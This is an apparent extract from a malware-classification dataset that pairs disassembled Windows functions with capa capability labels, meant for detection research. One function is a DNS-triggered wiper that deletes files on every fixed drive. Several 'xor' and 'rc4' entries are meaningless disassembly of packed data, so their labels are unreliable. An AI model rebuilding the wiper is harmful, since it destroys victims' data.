joyce8/EMBER2024-capa huggingface dataset:
Function at 0x486054
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x49ed90]
jne 0x48605e
repz ret
jmp fcn.0048a987

Function at 0x4889d4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x49ed90]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00483072
and dword [ebp - 0x14], 0
cmp dword [0x4a1434], 0
mov dword [ebp - 0x18], eax
jne 0x488a87
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x488b2f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x488b2f
mov esi, dword [fcn.0047ed40]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4a1434], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4a1438], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4a143c], eax
call edi
push eax
call esi
mov dword [0x4a1444], eax
test eax, eax
je 0x488a87
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4a1440], eax
mov eax, dword [0x4a1440]
mov ecx, dword [ebp - 0x18]
mov esi, dword [fcn.0047ed44]
cmp eax, ecx
je 0x488ae0
cmp dword [0x4a1444], ecx
je 0x488ae0
push eax
call esi
push dword [0x4a1444]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x488ae0
test ebx, ebx
je 0x488ae0
call edi
test eax, eax
je 0x488ad7
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x488ad7
test byte [ebp - 8], 1
jne 0x488ae0
or dword [ebp + 0x10], 0x200000
jmp 0x488b13
mov eax, dword [0x4a1438]
cmp eax, dword [ebp - 0x18]
je 0x488b13
push eax
call esi
test eax, eax
je 0x488b13
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x488b13
mov eax, dword [0x4a143c]
cmp eax, dword [ebp - 0x18]
je 0x488b13
push eax
call esi
test eax, eax
je 0x488b13
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4a1434]
call esi
test eax, eax
je 0x488b2f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x488b31
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00486054
leave
ret
Function at 0x508fcc
Capabilities:
Encode data using xor

Disassembly:
pop es
fistp qword [ebp - 0x3f]
imul ebx, dword [edi], 0x7f
xor esp, dword [edx]
aad 0xd3
sub dh, al
sub eax, ebx
retf
int3
jnp 0x508ffb
mov bh, 0xd2
movsd dword es:[edi], dword [esi]
clc
insb byte es:[edi], dx
push eax
cld
mov dword [0xb090f4e], eax
mov al, 0x38
dec esp
insb byte es:[edi], dx
loopne 0x509024
pushal
lodsb al, byte [esi]
mov dword [edx - 0x42478ad3], ecx
outsb dx, byte [esi]
mov dword [0x530b7380], eax
adc dword [ebx + 0x3c], ecx
dec eax
wait
fnstsw word [esi + 0x4de134d8]
rcr dword [esi - 0x66], 1
sti
loopne 0x508f8c
dec eax
xor al, 0x4f
or byte [eax + 4], 0x50
pop ss
jl 0x508fc8
sbb byte [edi], al
jae 0x509069
sbb eax, 0x3fb54d71
ja 0x508fb1
jg 0x509063
int3
push 0xe25d100c
adc eax, 0xf6963b46
mov eax, dword [0x90390903]
jmp 0x3f60afa1
or dword [esi + 0x74cc8b0], 0xac07d19
cmp al, 0xfd
fdiv qword [ecx - 0x7366bfb9]
movsd dword es:[edi], dword [esi]
cwde
inc esi
call 0x48791721
dec eax
sbb dword [ebp - 0x40], edi
or bh, byte [edi*8 + 0x4047b1dc]
cdq
mov word [ebp - 0x5b17b968], fs
xchg byte [eax], ch

Function at 0x50d820
Capabilities:
Encode data using xor

Disassembly:
inc ebx
retf 0x5f66
jo 0x50d854
loop 0x50d8a2
sub eax, 0x6c745cf1
mov edx, 0xf9ade96f
invalid

Function at 0x512537
Capabilities:
Encode data using xor

Disassembly:
popfd
call 0x1c010739
sbb byte [ebx], 0x11
sub dword [esi + esi*8 - 0x5f], edi
aad 0x5c
push edi
sti
test eax, 0x1565551f
pop ds
and dl, byte [ebx - 0x32]
cmp dword [eax + 0x5dcfe500], edx
fldenv [ebp - 0x23]
invalid

Function at 0x556470
Capabilities:
Encode data using xor

Disassembly:
pop fs
push ebp
daa
pop eax
test al, 0xd6
xor bh, al
invalid
Function at 0x56d43c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
or ah, bl
dec eax
add eax, 0x4c53ca45
sub dword [edx + 0x65a16fc8], ebx
mov cl, 0x9a
clc
mov eax, dword [0xf89ab165]
mov es, word [ebp - 0x597b40e4]
retf 0x9dab
jp 0x56d428
fnstsw word [edx + 0x2d]
in eax, dx
in al, 0x5f
stc
imul eax, dword [edi], 0xaa28047f
jl 0x56d49c
cmp al, 0x78
mov esp, 0x2f49d539
cmpsb byte [esi], byte es:[edi]
jbe 0x56d4a2
mov bh, 0x99
les ebp, [ebp + 0x56e79281]
sub dword [edi], ebx
jge 0x56d43e
dec ecx
xchg ecx, eax
into
push eax
das
mov word [esp + esi*8], es
or dword [ecx], ebx
or byte [edi + edx*8], cl
salc
sti
dec esp
fsubp st(5)
pop edi
lea ebx, [ebp - 0x33]
je 0x56d452
pop ds
wait
imul ecx, dword [eax + edx*2], 0x896c2f9a
add al, 0x3b
das
insb byte es:[edi], dx
mov dword [ebx + edi], eax
sub dl, byte [eax]
or dh, byte [ebx]
mov edx, 0x43d3cce
ja 0x56d3f2
in al, dx
fsubr st(1)
cmp eax, dword [eax + 0x40d21052]
push ss
test dword [edx], ebx
insd dword es:[edi], dx
cmc
wait
ja 0x56d3fe
dec eax
or esp, esp
jae 0x56d40d
fstp xword [edx]
and dword [esi + ebp*8 + 0x4e], esi
push ecx
jl 0x56d415
clc
adc al, 0x6d
mov dword [edx + 0x6c], eax
xor byte [eax + 0xc52e45e], bh
loope 0x56d4f0
jnp 0x56d4f8
fidivr dword [ebx + 0x34]
fnstenv [edx + ebp*8 + 0x69]
cmovns ebp, dword [edx]
insb byte es:[edi], dx
xchg dword [ecx + ebx], esp
sub ch, byte [edi + eax*4 + 0x64]
sbb dword [eax], eax
add byte [eax], al
mov ecx, dword [esp + 0x18]
lea ecx, [ecx + esi*2 - 1]
lea eax, [ecx + esi*4]
test esi, esi
jbe 0x56d589
mov edi, esi
jmp 0x56d4c1
movzx ebx, byte [ecx]
mov byte [eax], bl
movzx ebx, byte [ecx - 1]
mov byte [eax - 1], bl
movzx ebx, byte [ecx]
dec eax
mov byte [eax - 1], bl
movzx ebx, byte [ecx - 1]
dec eax
dec eax
mov byte [eax], bl
movzx ebx, byte [ecx]
dec eax
mov byte [eax], bl
movzx ebx, byte [ecx - 1]
dec ecx
dec eax
mov byte [eax], bl
dec eax
dec ecx
sub edi, 1
jne 0x56d4c1
shr cl, 1
xchg ebx, eax
add byte [eax], al
add byte [esp + eax], bh
jmp 0x56d589
jne 0x56d589
cmp cl, 8
jne 0x56d536
mov eax, dword [esp + 0x18]
lea ecx, [eax + esi*2 - 1]
lea eax, [ecx + esi*2]
add al, 0x71
mov ecx, dword [esp + 0x18]
lea ecx, [ecx + esi*4 - 1]
lea eax, [ecx + esi*4]
test esi, esi
jbe 0x56d589
mov edi, esi
movzx ebx, byte [ecx]
mov byte [eax], bl
movzx ebx, byte [ecx - 1]
mov byte [eax - 1], bl
dec eax
dec ecx
movzx ebx, byte [ecx - 1]
mov byte [eax - 1], bl
movzx ebx, byte [ecx - 2]
dec ecx
dec eax
mov byte [eax - 1], bl
movzx ebx, byte [ecx]
dec eax
mov byte [eax - 1], bl
movzx ebx, byte [ecx - 1]
dec eax
dec eax
mov byte [eax], bl
movzx ebx, byte [ecx]
dec eax
mov byte [eax], bl
movzx ebx, byte [ecx - 1]
dec ecx
dec eax
mov byte [eax], bl
dec eax
dec ecx
sub edi, 1
jne 0x56d547
Function at 0x5afa73
Capabilities:
Encode data using xor

Disassembly:
pop edi
and byte [ebx], 0xef
out dx, eax
out dx, eax
test byte [edx - 0x60dfdb24], dl
pushal
fyl2x
lahf
and ecx, 0xf092292d
cmp bl, byte [edi - 0x5665dc31]
imul ecx, dword [ebx - 0x487a5c99], 0xffffff95
fdiv qword [edi - 0x1a23be2c]
ror word [esi - 0x324e077c], cl
inc eax
or al, 0xe1
dec edi
pop esi
push edi
add edi, ecx
and ecx, dword [eax - 0x38]
mov al, byte [0xac2e996f]
test byte [ebx - 0x4bb91050], cl
mov ah, 9
push esi
pop esp
mov esp, 0xd3a3d516
lahf
sub byte [ecx], al
push es
and byte [0xbe33172c], dh
call 0x552eb2c0
das
pop ds
popal
push 0x275540f2
xor dword [ecx + 0x14a2a191], edi
fsubr st(2)
and esp, edi
pop es
jg 0x5afa70
jp 0x5afaf4
sub bh, byte [esi]
and dh, byte [eax - 0x7eaf2f01]
push 0xe57b9245
push edx
in eax, 0x52
insd dword es:[edi], dx
lea edx, [eax]
aas
mov esp, 0xca03d2c3
push es
les ecx, [ecx + 0xbdc5f5]
wait
cmc
mov eax, 0xbfa09930
outsd dx, dword [esi]
sbb dl, ah
jnp 0x5afb21
aas
cmp ebp, dword [edi + edi*2 + 0x1a81479b]
out dx, al
rcl dword [edi]
jnp 0x5afafd
loopne 0x5afaf1
sub bh, byte [ebx - 0x5bcea3fc]
mov esp, 0x9fe51912
add al, 0x5c
xor dword [esp + edi*4 - 0x601ae6ee], esp
xor ch, dh
les edi, [edi]
das
std
aam 0xf
ja 0x5afba1
stosb byte es:[edi], al
psubusb mm5, qword [edi + ecx*4]
dec bl
invalid
or al, 0xb8
mov esp, 0x97f32701
push ecx
mov eax, dword [0xc2508c96]
invalid

Function at 0x5d9dfc
Capabilities:
Encode data using xor

Disassembly:
xchg edx, eax
ret
mov eax, 0x9a14fd01
outsd dx, dword [esi]
mov eax, dword [0x45785d06]
sub eax, 0x82769524
je 0x5d9e14
inc eax
xor eax, 0xa803d0cc
xor al, cl
leave
dec edi
adc byte [ecx + 0x70], cl
les eax, [edx + 0x20]
adc dword [eax + 0x3e718120], eax
dec ecx
jo 0x5d9d7d
inc edx
and byte [ecx], dl
and byte [eax], 0x81
jno 0x5d9dff
ror dword [ecx - 0x50fae9f5], 1
test eax, 0x9166f80f
dec ebx
mov cl, 0x14
adc eax, edx
pop es
lds eax, [ecx]
xor dword [ecx - 0x4f], edi
invalid
sub ecx, dword [edi - 0x7a48aa65]
push ebp
mov bh, 0x85
jne 0x5d9d98
xor dword [esi + 0xad9aae0], ecx
mov al, 0x8d
add eax, esi
cmpsd dword [esi], dword es:[edi]
inc eax
jo 0x5d9db6
outsb dx, byte [esi]
invalid
mov al, 0x71
out dx, al
nop
dec ecx
sar dword [eax - 0x6566b970], cl
movsb byte es:[edi], byte [esi]
mov bl, 0xba
xchg esp, ebx
invalid
Function at 0x636197
Capabilities:
Encode data using xor

Disassembly:
cmp bl, bl
adc dword [eax - 0x2e], ebx
cmpsd dword [esi], dword es:[edi]
insd dword es:[edi], dx
or edi, dword [eax]
pushal
mov ecx, dword [edx + 0x54]
wait
inc eax
dec edx
xchg byte [edi - 0x29b02aa4], bl
out dx, al
inc byte [esp + ebx*2 - 0x5c389bf2]
inc byte [esp + ebx*2 - 0x5c389bf2]
inc byte [esp + ebx*2 - 0x5c389bf2]
inc eax
pushal
pop edx
cld
adc cl, byte [esi + 0x607245ed]
xor al, 0xb3
adc edx, edx
cmp bh, cl
adc eax, 0x408c59a1
jo 0x63617f
jge 0x63622c
fstp qword [ebx + 0x1cf66b2d]
add ebx, esi
sub byte [ebp - 0x113ba9b], al
lodsb al, byte [esi]
mov edx, 0x45a36bf1
mov eax, dword [ebx + 0x4b868b99]
sbb ebx, edx
jge 0x6361cf
xchg byte [ebx + 0x1b], cl
fidivr dword [ebp - 6]
pop ecx
outsb dx, byte [esi]
mov eax, dword [0x5286f8cb]
jmp 0x806fb7ff
dec eax
xor dl, dl
sub byte [esi - 0x7eb9bec2], cl
sub al, 0xab
sbb dword [esi], ebp
push ds
xchg ecx, eax
mov word [edi + 0x4f], gs
dec ebp
mov bh, byte [edx + 0x6e]
imul edx, ebp, 9
fstp qword [ebx + 0x5a]
pop ebx
pop edx
jge 0x636212
lodsd eax, dword [esi]
imul ecx, esi, 0xffffffa4
jmp 0x63626b
mov esi, 0x60c3bd84
pop ebx
invalid

Function at 0x639998
Capabilities:
Encode data using xor

Disassembly:
fdivr qword [edx + edi*4 + 0x74]
invalid
mov ebx, 0x8096f911
xor ebp, dword [edi + 0x6560873]
mov ecx, 0xba6bfa0a
js 0x639956
test eax, 0x89c68513
mov dh, byte [edx]
insb byte es:[edi], dx
and dword [esi + 0x69050856], edx
inc ebx
cmp ah, byte [eax + 0x56cfab5e]
inc ecx
int 0xc0
dec eax
push ss
sub ebx, ebx
ljmp 0x4f9a
Function at 0x401b8e
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [esi], 0x4052e8
cmp dword [esi + 0x14], edi
je 0x401c8b
push str._mozilla.org_observer_service_1
mov edx, 0x405940
mov dword [ebp - 4], edi
lea ecx, [ebp - 4]
call fcn.00403707
mov eax, dword [ebp - 4]
test eax, eax
jne 0x401c16
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push 0x67
pop edi
push edi
push str.c:_buildsmoz2_slavem_in_w32_000000000000000000000_build_srcobj_firefoxdistinclude_testingTestHarness.h
push 0x4053d0
push str.Assertion_failure:__s__at__s:_d_n
push 2
call esi
pop ecx
push eax
call fcn.004032e0
push 2
call esi
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov eax, dword [sym.imp.mozglue.dll_gMozCrashReason]
add esp, 0x1c
mov dword [eax], str.MOZ_RELEASE_ASSERT_os_
int3
mov ecx, dword [eax]
push edi
push str.profile_change_net_teardown
push edi
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push edi
push str.profile_change_teardown
push edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push edi
push str.profile_before_change
push edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push edi
push str.profile_before_change_qm
push edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push edi
push str.profile_before_change_telemetry
push edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [esi + 0x14]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x4c]
mov ecx, dword [esi + 0x14]
mov dword [esi + 0x14], edi
test ecx, ecx
je 0x401c7e
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov eax, dword [ebp - 4]
test eax, eax
je 0x401c8b
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x401cc2
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
push edi
mov dword [esi + 0xc], edi
call dword [sym.imp.xul.dll_NS_ShutdownXPCOM]
pop ecx
mov ecx, eax
shr ecx, 0x1f
test cl, 1
je 0x401cc2
push eax
push str.XPCOM_shutdown_failed_with_code_0x_x
call fcn.00402b6b
pop ecx
pop ecx
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push dword [esi + 8]
push str.Finished_running__s_tests._n
call fcn.00403362
pop ecx
pop ecx
mov ecx, dword [esi + 0x1c]
test ecx, ecx
je 0x401cde
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x401ceb
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x401cf8
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esi + 0x10]
pop edi
pop esi
test ecx, ecx
je 0x401d07
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov esp, ebp
pop ebp
ret
Function at 0x401120
Capabilities:
Get disk information
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x452004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0x134]
push eax
push 0
push 8
push 0x10
push str.www.fbr_pk.org
call dword [sym.imp.DNSAPI.dll_DnsQuery_W]
test eax, eax
jne 0x40132f
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x13c], eax
test eax, eax
je 0x401316
push ebx
push esi
push edi
nop dword [eax]
cmp word [eax + 8], 0x10
jne 0x4012fd
xor esi, esi
cmp dword [eax + 0x18], esi
jbe 0x4012fd
lea edi, [eax + 0x1c]
nop dword [eax]
push dword [edi]
push str.TXT_Record:__s_n
call fcn.00401020
push 0xb
push dword [edi]
lea eax, [ebp - 0x10]
push eax
call fcn.004126b0
add esp, 0x14
mov byte [ebp - 6], 0
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x10]
push str._d__d__d
push eax
call fcn.004010f0
add esp, 0x14
cmp eax, 3
jne 0x40122b
movzx ecx, word [ebp - 0x130]
mov edx, dword [ebp - 0x11c]
cmp ecx, edx
jg 0x401243
mov bx, word [ebp - 0x12e]
jne 0x40122b
movzx eax, bx
cmp eax, dword [ebp - 0x118]
jg 0x401243
cmp ecx, edx
jne 0x40122b
movzx eax, bx
cmp eax, dword [ebp - 0x118]
jne 0x40122b
movzx eax, word [ebp - 0x12a]
cmp eax, dword [ebp - 0x120]
jg 0x401243
mov eax, dword [ebp - 0x13c]
inc esi
add edi, 4
cmp esi, dword [eax + 0x18]
jb 0x401190
jmp 0x4012fd
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x138], eax
test eax, eax
jne 0x40125d
push str.Failed_to_retrieve_drives._n
jmp 0x4012ef
push str.Deleting_files_in_all_accessible_partitions..._n
call fcn.00401080
mov eax, dword [ebp - 0x138]
add esp, 4
mov bl, 0x41
mov esi, 0x41
test al, 1
je 0x4012da
lea eax, [ebp - 0x114]
mov byte [ebp - 0x114], bl
push eax
mov word [ebp - 0x113], 0x5c3a
mov byte [ebp - 0x111], 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x4012d4
push esi
push str.del__Q__F__S__c:.
lea eax, [ebp - 0x110]
push pe_nt_image_headers32
push eax
call fcn.004010b0
lea eax, [ebp - 0x110]
push eax
call fcn.00411c67
push esi
push str.Files_deleted_in_drive__c:_n
call fcn.00401080
add esp, 0x1c
mov eax, dword [ebp - 0x138]
shr eax, 1
inc bl
inc esi
mov dword [ebp - 0x138], eax
cmp bl, 0x5a
jle 0x401277
push str.Operation_completed._n
call fcn.00401080
mov eax, dword [ebp - 0x13c]
add esp, 4
mov eax, dword [eax]
mov dword [ebp - 0x13c], eax
test eax, eax
jne 0x401170
mov eax, dword [ebp - 0x134]
pop edi
pop esi
pop ebx
push 1
push eax
call dword [sym.imp.DNSAPI.dll_DnsFree]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401360
mov esp, ebp
pop ebp
ret
push eax
push str.Failed_to_query_DNS_TXT_record:__d_n
push 2
call fcn.00406440
add esp, 4
push eax
call fcn.00401050
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
xor eax, eax
call fcn.00401360
mov esp, ebp
pop ebp
ret
Function at 0x4039b0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.004035d0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4039e2
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [0x43e148]
call dword [ebp - 8]
jmp 0x4039ec
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esp, ebp
pop ebp
ret
Function at 0x9c97b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x47c000]
push edi
jmp 0x9c97ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x9c97d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9c97c0
mov eax, 1
add ebx, ebx
jne 0x9c97e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x9c97f4
jne 0x9c9813
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9c9813
dec eax
add ebx, ebx
jne 0x9c9800
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x9c97d8
add ebx, ebx
jne 0x9c980f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x9c9865
xor ecx, ecx
sub eax, 3
jb 0x9c982b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x9c989a
sar eax, 1
mov ebp, eax
jmp 0x9c9836
add ebx, ebx
jne 0x9c9836
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9c9804
inc ecx
add ebx, ebx
jne 0x9c9844
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9c9804
add ebx, ebx
jne 0x9c9851
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x9c9846
jne 0x9c9862
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x9c9846
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x9c9884
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x9c9876
jmp 0x9c97c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x9c9884
add edi, ecx
jmp 0x9c97c6
pop esi
mov edi, esi
mov ecx, 0x13d44
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x9c98a2
cmp byte [edi], 0xd6
jne 0x9c98a2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x9c98a7
lea edi, [esi + 0x5c5000]
mov eax, dword [edi]
or eax, eax
je 0x9c991f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5ce3dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5ce5e4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x9c98d4
mov ecx, edi
jns 0x9c9903
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5ce5e8]
or eax, eax
je 0x9c9919
mov dword [ebx], eax
add ebx, 4
jmp 0x9c98f1
call dword [esi + 0x5ce5f8]
mov ebp, dword [esi + 0x5ce5ec]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x31f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x9c9953
sub esp, 0xffffff80
jmp 0x4022c0
Function at 0x623210
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd9000]
mov dword [edi + 0x1d4f5c], 0x9ac7e9fa
push edi
jmp 0x62323a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x623241
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x623230
mov eax, 1
add ebx, ebx
jne 0x623253
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x623264
jne 0x623283
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x623283
dec eax
add ebx, ebx
jne 0x623270
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x623248
add ebx, ebx
jne 0x62327f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x6232d5
xor ecx, ecx
sub eax, 3
jb 0x62329b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x62330a
sar eax, 1
mov ebp, eax
jmp 0x6232a6
add ebx, ebx
jne 0x6232a6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x623274
inc ecx
add ebx, ebx
jne 0x6232b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x623274
add ebx, ebx
jne 0x6232c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x6232b6
jne 0x6232d2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6232b6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6232f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6232e6
jmp 0x623236
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6232f4
add edi, ecx
jmp 0x623236
pop esi
mov edi, esi
mov ecx, 0x25e5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x623312
cmp byte [edi], 0xc
jne 0x623312
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x623317
lea edi, [esi + 0x20b000]
mov eax, dword [edi]
or eax, eax
je 0x623386
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2459a8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x245b38]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x623344
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x245b3c]
or eax, eax
je 0x623380
mov dword [ebx], eax
add ebx, 4
jmp 0x623361
call dword [esi + 0x245b4c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x6233c0
cmp al, 0xef
ja 0x6233aa
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x62338c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
or eax, eax
jne 0x623399
mov eax, dword [edi]
add edi, 4
jmp 0x623399
mov ebp, dword [esi + 0x245b40]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6233f4
sub esp, 0xffffff80
jmp 0x477257